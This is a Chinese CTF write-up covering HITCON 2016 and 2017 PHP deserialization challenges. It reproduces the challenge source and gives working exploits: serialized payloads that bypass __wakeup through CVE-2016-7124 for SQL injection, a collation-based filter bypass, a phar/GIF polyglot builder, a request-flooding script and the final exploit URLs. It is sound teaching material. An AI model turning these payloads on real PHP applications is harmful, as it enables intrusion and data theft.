HITCON三题递进PHP反序列化

HITCON三道关于反序列化的题目

@zsx师傅blog几句话吸引了我的兴趣。

HITCON 2016上,🍊出了一道PHP反序列化。
HITCON 2017上,🍊出了一道Phar + PHP反序列化。
HITCON 2018上,🍊出了一道file_get_contents + Phar + PHP反序列化。

HITCON 2016 babytrick

网上没找到题目复现的docker环境,所以直接去 Github 上找的源码,对题目理解可能有失偏颇,敬请谅解。

题目代码如下

<?php

include "config.php";

class HITCON{
private $method;
private $args;
private $conn;

public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;

$this->__conn();
}

function show() {
list($username) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);

$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("Nobody Nobody But You!");
}

}

function login() {
global $FLAG;

list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));

$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}

$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}

function source() {
highlight_file(__FILE__);
}

function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);

if ($DEBUG) {
$sql = "CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8";
$this->__query($sql, $back=false);

$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}

mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}

function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}

function __die($msg) {
$this->__close();

header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}

function __close() {
mysql_close($this->conn);
}

function __destruct() {
$this->__conn();

if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}

$this->__close();
}

function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}

if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
} else {
new HITCON("source", array());
}

漏洞代码核心: @unserialize($_GET["data"]);

代码的全局过滤如下,主要过滤函数为 mysql_escape_string

function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}

关于此魔术方法的绕过为 CVE-2016-7124

代码中参数附值主要靠 call_user_func_array(),list(),func_get_args()三个函数共同作用。

首先 show 方法中动态拼接sql语句采取了 sprintf 函数。但其对单引号等敏感字符并没有转义功能,又因为我们可利用CVE-2016-7124 来绕过全局过滤。因此此处存在sql注入。

通过sql注入获得orange密码

<?php
class HITCON{
private $method="show";
private $args=array("' union select password,1,1 from users where username = 'orange'#");
private $conn=1;
}
$payload1 = new HITCON();
echo urlencode(serialize($payload1));
?>

通过上述步骤得知 orange 的密码是 babytrick1234

接着进入 login 方法,这里通过用户名跟密码可以得到 flag。但其方法里一处限制如下

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}

Bypass的点为 mysql的编码设置安全

猪猪侠在微博上曾经说过

MYSQL 中 utf8_unicode_ciutf8_general_ci两种编码格式,utf8_general_ci不区分大小写,Ä = A, Ö = O, Ü = U这三种条件都成立,对于utf8_general_ci下面的等式成立:ß=s,但是,对于utf8_unicode_ci下面等式才成立:ß = ss

本地使用 DVWA 的库进行测试
image-20201113200311935
image-20201113200319155
image-20201113200327296

因此通过替换关键字符,构造最终payload如下

<?php
class HITCON{
private $method;
private $args;
private $conn;

public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$args['username'] = 'ORÄNGE';
$args['password'] = 'babytrick1234';
$data = new HITCON('login',$args);
echo urlencode(serialize($data));
?>

HITCON 2017 Baby-Master-PHP

题目采用 i春秋 平台进行复现。其实本来最开始复现采用的是buu,但是buu的平台加载不了我服务器上的phar文件。后来就换了

题目源码

<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}

class Admin extends User {
function __destruct() {
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
. " global \$FLAG; \$FLAG();"
. "}");
$_GET["lucky"]();
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) {
die("Bye");
}

if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {
die("Bye Bye");
}

$data = unserialize($data);
if (!isset($data->avatar)) {
die("Bye Bye Bye");
}

return $data->avatar;
}

function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a") {
die("Fuck off");
}

file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}

function show($path) {
if (!file_exists($path . "/avatar.gif")) {
$path = "/var/www/html";
}

header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}

$mode = $_GET["m"];
if ($mode == "upload") {
upload(check_session());
} else if ($mode == "show") {
show(check_session());
} else {
echo "IP:".$_SERVER["REMOTE_ADDR"];
echo "Sandbox:"."/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
highlight_file(__FILE__);
}

上来第一行就是一个姿势点orz
$FLAG = create_function("", 'die(/read_flag);');。根据php源码

image-20201113200341989

匿名函数会被设置为\x00lambda_%d ,其中 %d 为数字,取决于进程中匿名函数的个数,但是我们每访问一次题目,就会生成一个匿名函数,这样匿名函数的名字就不可控。
这里需要参考: Apache 工作的三种模式:Prefork、Worker、Event
可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了。

Apache-prefork模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server, 这时候如果用户大量请求, Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求。

随后代码初始化了用户沙箱。

题目中干扰最大的是check_session 函数。check_session 函数中具有反序列化的功能,但是 hash_equals 函数进行了数据校验,而 $SECRET 的值不可知。因此无法利用这点进行反序列化构造我们的payload

然后代码有两个类User、Admin。其分别是父类与子类。admin类中存在敏感函数eval。然后是一个 $_GET["lucky"](); 这样的动态调用。

后面主要实现了两个功能,一个是写入一个文件,一个是返回文件路径。
且对文件前几个字符进行了 GIF89a 的限制

之前是0day,现在已经有很多文章都分析过 phar 拓展反序列化的原理。

upload函数中 file_get_contents 这类文件相关操作会触发 phar,从而进行反序列化。

poc.php

<?php
class Admin {
public $avatar = 'orz';
}
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['file.php'] = '<?php ?>';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
?>

接着,我们需要通过大量请求,使 apache 重新开启一个新的线程

贴上 @orange 师傅的脚本

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass

def run(i):
while 1:
HOST = 'x.x.x.x'
PORT = xx
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET /avatar.gif HTTP/1.1\nHost: yourip\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

加载我们服务器上的phar文件
http://117.50.3.97:8005/index.php?m=upload&url=http://ip'

利用脚本发出大量请求,使 apache 重新开启一个新的线程

最后访问
http://117.50.3.97:8005/index.php?m=upload&url=phar:///var/www/data/xxx/&lucky=%00lambda_1

image-20201113200356402

HITCON 2018

待更新…

再谈PHP反序列化 Code-Breaking Puzzles 2018
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×